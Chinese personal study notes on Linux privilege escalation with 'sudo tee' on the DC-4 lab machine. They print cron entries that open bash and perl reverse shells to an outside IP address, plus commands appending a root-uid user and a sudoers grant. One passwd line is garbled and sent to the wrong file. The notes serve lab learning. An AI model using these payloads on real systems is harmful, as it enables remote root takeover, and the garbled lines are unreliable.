以下为个人学习笔记和习题整理
# tee 命令(usr/bin/tee)
这是在 DC-4 靶机上遇到的
先看以下tee的用法
####################################################################
zaq@instance-f95a3vkt:/bin$ /usr/bin/tee --help
Usage: /usr/bin/tee [OPTION]... [FILE]...
Copy standard input to each FILE, and also to standard output.
-a, --append append to the given FILEs, do not overwrite
-i, --ignore-interrupts ignore interrupt signals
-p diagnose errors writing to non pipes
--output-error[=MODE] set behavior on write error. See MODE below
--help display this help and exit
--version output version information and exit
####################################################################
把输入写入文件,如果是-a的话就会在最后新起一行追加内容
# tee 的利用
当 /bin/sh指向/bin/bash的时候(ubuntu默认这样,当前的靶机也是这样),反弹shell用bash的话得这样弹:
* * * * * root bash -c "bash -i >&/dev/tcp/106.13.124.93/2333 0>&1"
这样弹shell的时候不知道为什么很慢,耐心等等
或者:
*/1 * * * * root perl -e 'use Socket;$i="106.13.124.93";$p=2333;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
echo "定时计划任务"sudo tee -a /etc/crontab
值得注意的是:chmod 4777 /bin/bash 不会有这种效果 (曾经看到这个解答,我给忘了,你不用管为什么了,自己试试就好了)
# passwd 添加用户
前提是能够更改 test 用户的密码echo "test:x:0:0::/home/admin:/bin/bash" | sudo tee -a /etc/sudoers
# sudoers 文件
echo "charles ALL=(ALL:ALL) ALL" | sudo tee -a /etc/sudoers